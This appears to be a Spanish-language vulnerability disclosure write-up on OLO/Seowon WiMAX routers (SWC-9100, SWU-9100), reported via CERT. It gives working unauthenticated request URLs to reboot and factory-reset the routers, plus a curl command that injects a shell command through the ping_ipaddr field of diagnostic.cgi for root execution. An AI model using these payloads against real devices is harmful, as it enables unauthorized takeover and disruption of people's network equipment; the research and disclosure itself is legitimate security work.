Hackeando Routers OLO SWC-9100 y SWU-9100 Por Nox

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 11

Hackeando routers OLO

SW(C|U)-9100
por Josu Rojas a.k.a Nox http://www.noxsoft.net

Introduccin
El siguiente escrito detalla las vulnerabilidades encontradas en routers Seowon Intech WiMAX usados por la compaa OLO de modelos SWC9100 y SWU-9100. Reporte de algunas vulnerabilidades:
http://www.kb.cert.org/vuls/id/431726

OLO es una empresa que brinda internet usando tecnologa WiMax, comenz a mediados del 2012 (agosto/septiembre segn su cuenta de facebook creada en esa fecha).

Routers

Ya habamos tocado con Csar (el de alguien en la fisi), el router de OLO en un evento dnde nos toc ir y vimos algunas cosillas, sin embargo no hicimos ms. Mucho tiempo despus, LimaHack se acercaba, mi amigo Csar Neira a.k.a Alguien, se iba a presentar con el tema: "Otra charla sobre explotacin de routers", inspirado en una experiencia de un router anterior que ya haba publicado en su blog. Yo para ese tiempo ya haba adquirido un router OLO Fijo. De tanto charlar, me permiti darle una mano con los routers que yo tena acceso fsico, y gracias a eso, pude colaborar con un granito de arena. Pensaba en hacer full disclosure, pero por experiencia de amigos, decid reportarlo a un CERT, que ellos se encarguen de la gestin de reporte al fabricante y luego hacer el informe tcnico. El hecho es que amigos mos que han encontrado vulnerabilidades en routers, devices diversos, han recibido amenazas por hacerlo pblico sin ms. Lo que no entiendo es, acaso somos culpables de encontrar vulnerabilidades?, los fabricantes, ISP, etc. Necesitan recordar que NOSOTROS NO PONEMOS LAS VULNERABILIDADES, SOLO LAS ENCONTRAMOS, entonces, por qu se ve perjudicado el investigador? Para algunos esto es lo que nos motiva a ser geeks, para otros ya se volvi su trabajo, su medio de vida, su alimento diario y es que tenemos la mala costumbre de comer tres veces al da.

Entonces, por qu debemos "regalar" nuestro trabajo? No estoy diciendo que debemos recibir una paga por vulnerabilidades que voluntariamente reportamos, sino que tomen en cuenta nuestro trabajo, las horas dedicadas, sacrificadas de estar con la familia, amigos, etc. Para poder reportar libremente algn fallo de seguridad y no recibir problemas en vez de recibir un simple y sin costo: "GRACIAS". Claro todo esto lo menciono teniendo en cuenta que lo encontrado no va a petar el mundo, sino hablo de un contexto ms habitual y no de una vulnerabilidad en una planta nuclear, por ejemplo . Retomando el objetivo de esta escrito, uno de los routers que tuve acceso fue el de OLO, en primera instancia, al que ellos llaman el "OLO fijo". Como ya se habrn dado cuenta por el ttulo, esta entrada est hecha para exponer lo hallado posteriormente, as como lo mostrado en el LimaHack con mayor detalle. Empecemos, el OLO fijo con tres antenas tiene las siguientes caractersticas: Modelo: Wimax SWC - 9100. Procesador: ARM926EJ-S rev 5 (v5l) - little endian. Versin de Linux: 2.6.26.8-rt16. Versin del GCC usado: 3.4.4. XN no soportado. Servidor HTTP: micro_httpd.

OLO fijo

Nota: Toda la investigacin fue basada en este router y, posteriormente probada los mismos fallos de seguridad encontrados, en el router mvil de OLO.

El router movil: Modelo: Wimax SWU - 9100.

OLO Movil

Para conocer los CGI en el router us una vulnerabilidad que me coment Csar la primera vez que vimos un router OLO por unos minutos, era una inyeccin de comandos, autenticado en la administracin web encontrado por Oscar Martnez, de http://fiery-owl.blogspot.com. La forma de listarlos es sumamente sencilla, ejecutar el comando "ls" y listo.

Inyeccin de comandos, autenticado.

La salida es la siguiente:

drwxrwxrwt -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x

2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root

root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root

300 19272 15348 24812 26004 10824 34244 73636 13716 17832 55324 56576 15704 75420 38324 27388 21880 13640 16436 22008 42428 26232 25928 30104 19896 83772 13756 16592 88336 15440 50620 33216 18224 88032 30540 17028 28788 33328 26636 46564 194764 20224

Feb Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep Sep

8 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11

04:23 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42 09:42

cgi-system cpe_upgrade.cgi cpe_upgrade_ing.cgi ddns.cgi diagnostic.cgi diagnostic_info.cgi dmz_port_forwarding.cgi firewall.cgi frameset.cgi if_mtu.cgi lanconfig.cgi login.cgi message.cgi multi_wifi.cgi multi_wifi_filter.cgi multi_wifi_status.cgi ota.cgi ota_popup_message.cgi pppoe_test.cgi pw.cgi qos.cgi reboot.cgi result_message.cgi switch_status.cgi timezone.cgi top_menu.cgi upgrade.cgi upnp.cgi voip_account.cgi voip_account_info.cgi voip_general.cgi voip_line.cgi vpn.cgi vpn_setting.cgi wccm_info.cgi wccm_status.cgi wccm_syslog.cgi wccm_wimax_state.cgi web_connection.cgi wifi_dhcp.cgi wizard.cgi wlan.cgi

Al probar cada ruta se puede encontrar opciones del router que te permiten realizar cambios sin necesidad de estar autenticado. Para tal accin program un script en PHP usando CURL, leyendo de un fichero TXT, la lista de todos los CGI y luego comprobando que el status code sea 200, de esa manera sabr en cul de todos los CGI me permite visitar la URL sin autenticacin. Sin embargo este SCRIPT no contempla variables de cada CGI que es necesario para una ejecucin exitosa de su funcin. Analizando los CGI con IDA me pude percatar que algunos de estos solo necesitan pasarle las variables correspondientes para comenzar su ejecucin de sus funciones, este es otro fallo ms de seguridad que obviaron al programar, pero de esto hablaremos ms adelante. En la siguiente imagen se muestra la salida del cdigo en PHP comentado en el prrafo anterior, enfatizando las impresiones de color rojo, ya que estos muestran las rutas que devolvieron el status code 200.

Salida del script cgi.php

Solo cuatro URL: [+]http://192.168.1.1/cgi-bin/cpe_upgrade_ing.cgi [+]http://192.168.1.1/cgi-bin/login.cgi [+]http://192.168.1.1/cgi-bin/reboot.cgi [+]http://192.168.1.1/cgi-bin/result_message.cgi Solo dos nos llaman la atencin, los CGI, cpu_upgrade_ing.cgi y reboot.cgi, el primero no es ms que una notificacin de que se est actualizando el firmware o CPE, en cambio, reboot.cgi es muy interesante.

Reboot.cgi

Para los CGI en este router le es indiferente las variables que necesita para realizar su funcin, se enven por POST o GET.

Reinicio del router de manera remota sin autenticacin


Routers afectados: SWC-9100 y SWU-9100 Para reiniciar el router se debe enviar las variables con la informacin necesaria y esto se logra al visitar la siguiente URL: http://[IP_Router]/cgibin/reboot.cgi?select_option_value=default_reboot&reboot_option=on&act ion=Apply En este caso la variable select_option_value, no puede tener un valor vaco, pero s cualquiera, no es necesario especificar el valor default_reboot ya que en el CGI reboot.cgi jams se co mprueba, y para el CGI la variable reboot_option no existe ya que en ninguna parte le hace referencia de ella. As que con estos cambios de igual manera se puede reiniciar el router de manera remota sin autenticarse, sin embargo esas son las variables que enva el formulario.

Reinicio por defecto

Finalmente el CGI imprime una web de espera, para posteriormente llamar al binario /sbin/reboot que reiniciar el dispositivo.

Demo del modelo SWC-9100: http://www.youtube.com/watch?v=Dq5ArB95cR8 Demo del modelo SWU-9100: http://www.youtube.com/watch?v=vRqBViWXY1s

Reinicio de fbrica de manera remota sin autenticacin


Routers afectados: SWC-9100 y SWU-9100 El reinicio de fbrica deja las configuraciones por defecto, en ella est incluida las credenciales que vienen por defecto con el usuario admin y contrasea admin. Poder reiniciar remotamente el router sin autenticarse permite entre lo ms grave, poder cambiar las credenciales por defecto y tener acceso a la administracin web. Para realizar el reinicio de fbrica de manera remota sin autenticacin se debe visitar la siguiente URL: http://[IP_Router]/cgibin/reboot.cgi?select_option_value=default_reboot&reboot_option=on&action= Apply Finalmente el CGI termina llamando al archivo en bash /factoryreset.sh para realizar el reinicio de fbrica.

Ejecutando el script factoryreset.sh

Demo del modelo SWC-9100:: http://www.youtube.com/watch?v=SutAQZkPWJE&feature Demo del modelo SWU-9100: http://www.youtube.com/watch?v=I2-nofbJ1cM

Inyeccin de comandos sin autenticacin


Router afectado: SWC-9100 Al analizar diagnostic.cgi, me pude percatar que ese CGI solo necesita los parmetros para realizar su funcin, que se envan a travs de POST o GET. A este CGI tambin no le es necesario todas las variables que se envan para poder realizar la inyeccin de comandos, sino que solo toma los valores de las variables que necesita. Usando CURL, y ejecutando lo siguiente se puede realizar la inyeccin de comandos sin autenticacin: curl -v --data "select_mode_ping=on&ping_ipaddr=127.0.0.1>/dev/null; ls -lash /etc%23&ping_count=1&action=Apply&html_view=ping" "http://[IP_Router]/cgi-bin/diagnostic.cgi" > /dev/null La inyeccin se produce en la variable ping_ipaddr, al tomar el valor de dicha variable, no hay ningn filtro que detecte caracteres diferentes a las que se necesita para realizar la accin de ping.

Inyeccin de comandos

Luego de tomar dicho valor lo concatena con otra cadena para realizar la ejecucin, llamando a la funcin System. Como es bien sabido, para poder ejecutar dos comandos conjuntamente, se le puede agregar al final el ; y el comando a ejecutar. Y sin mayor problema tenemos una ejecucin de comandos con todos los privilegios, porque el usuario es root por defecto . Demo: http://www.youtube.com/watch?v=7y1qsk9OpwM

También podría gustarte